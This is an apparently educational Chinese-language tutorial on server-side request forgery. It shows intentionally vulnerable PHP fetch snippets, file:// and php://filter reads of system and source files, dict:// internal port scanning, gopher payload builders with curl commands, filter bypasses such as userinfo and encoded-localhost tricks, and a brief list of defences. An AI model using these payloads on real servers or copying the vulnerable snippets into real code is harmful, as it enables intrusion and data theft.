0x00 概念
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞利用一个可发起网络请求的服务器当作跳板来攻击其他服务。
0x01 原理
服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。
0x02 SSRF漏洞用途
- 扫描内外网的端口和服务
- 主机本地数据的读取
- dos
- 攻击内外网存在的已知漏洞
0x03 产生漏洞的函数
file_get_contents()
- 从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。
1 2 3 4 5
| <?php $url = $_GET['url'];; echo file_get_contents($url); ?>
|
fsockopen()
- 打开 Internet 或者 Unix 套接字连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $host=$_GET['url']; $fp = fsockopen($host, 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?>
|
curl_exec()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php if (isset($_GET['url'])){ $link = $_GET['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj); echo $result; } ?>
|
readfile()
- 与**file_get_contents()**类似,输出一个文件的内容。
1 2 3 4
| <?php $url = $_GET['url']; readfile($url); ?>
|
fopen()
- 打开一个文件或者URL
- 配合
fread
才能够进行回显
1 2 3 4 5 6
| <?php $file = fopen($_GET['url'], 'r'); echo fread($file, 4096); fclose($file); ?>
|
0x04 SSRF漏洞利用
SSRf中的URL伪协议
1 2 3 4 5 6 7
| file:// 从文件系统中获取文件内容,如,file:///etc/passwd dict:// 字典服务器协议,访问字典资源,如dict://ip:6379/info,通过dict 协议可以远程访问一个指定的tcp 端口,并且会返回端口所提供的服务的部分组件信息,当目标端口开放(有服务信息显示,但会报错)
sftp:// ssh文件传输协议或安全文件传输协议 ldap:// 轻量级目录访问协议 tftp:// 简单文件传输协议 gopher:// 分布式文档传递服务,可使用gopherus生成payload
|
案例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php if (isset($_GET['url'])){ $link = $_GET['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj); echo $result; } ?>
|
1 2 3 4
| 外网IP: 192.168.33.333 内网IP: 192.168.22.222
网段: 192.168.22.0/24
|
伪协议读取文件
探测内网主机存活
- 读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
- IP地址分类
1 2 3
| A: 10.0.0.0 - 10.255.255.255 B: 172.16.0.0 - 172.31.255.255 C: 192.168.0.0 - 192.168.255.255
|
1 2 3
| ?url=http://192.168.22.1 ?url=http://192.168.22.5 ......
|
扫描内网端口
1 2 3 4 5 6 7 8 9
| redis: ?url=dict://192.168.22.1:6379 ?url=dict://192.168.22.1:6379/info http: ?url=dict://192.168.22.1:80 ?url=dict://192.168.22.1:80/info ssh: ?url=dict://192.168.22.1:22 ?url=dict://192.168.22.1:22/info
|
gopher协议利用
在各编程语言中的限制
协议 |
PHP |
Java |
Curl |
Perl |
ASP.NET |
gopher |
–wite-curlwrappers且php版本至少为5.3 |
jdk<1.7 |
低版本不支持 |
支持 |
小于版本3 |
协议格式
- gopher的默认端口是70
- post请求,回车换行需要使用%0d%0a,多个参数之间的&需要url编码
1
| URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
|
- 不要忘了下划线
_
,否则服务的接收到的消息将不完整,该字符可随意。
发送GET请求
1 2 3 4
| // echo.php <?php echo "Hello ".$_GET["whoami"]."\n" ?>
|
1 2
| GET /echo.php?whoami=Bunny HTTP/1.1 Host: 192.168.1.1
|
1 2 3 4 5 6 7 8 9 10
| import urllib.parse payload =\ """GET /echo.php?whoami=Bunny HTTP/1.1 Host: 192.168.1.1 """ # 注意后面一定要有回车,回车结尾表示http请求结束 tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://ip:80/'+'_'+new print(result)
|
1 2
| curl gopher://ip:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%20192.168.1.1%0D%0A
|
发送POST请求
1 2 3 4
| // echo.php <?php echo "Hello ".$_POST["whoami"]."\n" ?>
|
POST、Host、Content-Type、Content-Length是POST请求必须的。
1 2 3 4 5 6
| POST /echo.php HTTP/1.1 Host: 192.168.1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 12
whoami=Bunny
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import urllib.parse payload =\ """POST /echo.php HTTP/1.1 Host: 192.168.1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 12
whoami=Bunny """ # 注意后面一定要有回车,回车结尾表示http请求结束 tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://ip:80/'+'_'+new print(result)
|
1
| curl gopher://ip:80/_POST%20/echo.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2012%0D%0A%0D%0Awhoami%3DBunny%0D%0A
|
攻击内网redis
这篇文章:https://blog.chaitin.cn/gopher-attack-surfaces/
读取源代码
1
| ?url=php://filter/convert.base64-encode/resource=代码页面
|
0x05 绕过
利用HTTP基本身份认证的方式绕过
- 目标代码限制访问的域名只能为
http://www.xxx.com
,那我们可以采用利用HTTP基本身份认证的方式绕过,即http://www.xxx.com@www.evil.com
利用302跳转绕过内网IP
1 2
| https://www.s-3.cn/ https://my5353.com/
|
不论什么ip,域名加上xip.io都会回归原本的地址,类似的还有http://sslip.io
和http://nip.io
1
| http://127.0.0.1.xip.io/flag.php -> http://127.0.0.1/flag.php
|
进制转换
1 2 3 4 5 6 7
| https://www.sojson.com/hexconvert.html
127.0.0.1 八进制: 0177.0.0.1 十六进制: 0x7f.0.0.1
|
利用[::]
1 2
| 利用[::]绕过localhost http://[::]:80 -> http://127.0.0.1
|
指向127.0.0.1
1 2 3 4 5 6 7 8 9 10 11 12 13
| http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://0 http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪
|
用句号绕过
0x06 防御
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符号标准。
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如80,443,8080,8090。
4.黑名单内网IP,避免应用被用来获取内网数据,攻击内网。
5.禁用不需要的协议,仅仅允许http和https请求,可以防止类似file://、gopher://等协议引起的问题。